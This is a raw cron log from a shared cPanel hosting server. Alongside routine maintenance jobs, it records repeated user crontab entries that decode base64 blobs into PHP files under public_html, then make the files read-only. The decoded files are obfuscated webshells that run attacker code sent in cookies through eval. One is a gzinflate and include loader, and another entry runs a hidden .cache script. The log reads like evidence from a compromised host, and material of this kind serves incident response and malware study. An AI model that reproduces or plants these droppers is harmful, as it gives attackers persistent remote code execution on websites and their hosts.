Jun  7 11:09:01 medusa CROND[24525]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:09:01 medusa CROND[24528]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:09:01 medusa CROND[24529]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:09:01 medusa CROND[24540]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:09:01 medusa CROND[24541]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:09:01 medusa CROND[24527]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:10:01 medusa CROND[26145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 11:10:01 medusa CROND[26150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:10:01 medusa CROND[26151]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:10:01 medusa CROND[26160]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:10:01 medusa CROND[26203]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 11:10:01 medusa CROND[26204]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:10:01 medusa CROND[26206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:10:01 medusa CROND[26207]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 11:10:01 medusa CROND[26208]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:10:01 medusa CROND[26209]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:10:01 medusa CROND[26210]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:10:01 medusa CROND[26211]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 11:10:01 medusa CROND[26212]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:10:01 medusa CROND[26214]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:10:01 medusa CROND[26217]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:10:01 medusa CROND[26221]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:10:01 medusa CROND[26222]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:10:01 medusa CROND[26223]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:10:01 medusa CROND[26226]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:10:01 medusa CROND[26224]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:10:01 medusa CROND[26216]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:10:01 medusa CROND[26230]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 11:10:01 medusa CROND[26228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:10:01 medusa CROND[26235]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:10:01 medusa CROND[26242]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:10:01 medusa CROND[26205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:10:01 medusa CROND[26213]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:10:01 medusa CROND[26239]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:11:01 medusa CROND[27876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:11:01 medusa CROND[27877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:11:01 medusa CROND[27879]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:11:01 medusa CROND[27878]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:11:01 medusa CROND[27880]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:11:01 medusa CROND[27881]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:11:01 medusa CROND[27883]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:11:01 medusa CROND[27882]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:11:01 medusa CROND[27884]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:11:01 medusa CROND[27887]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
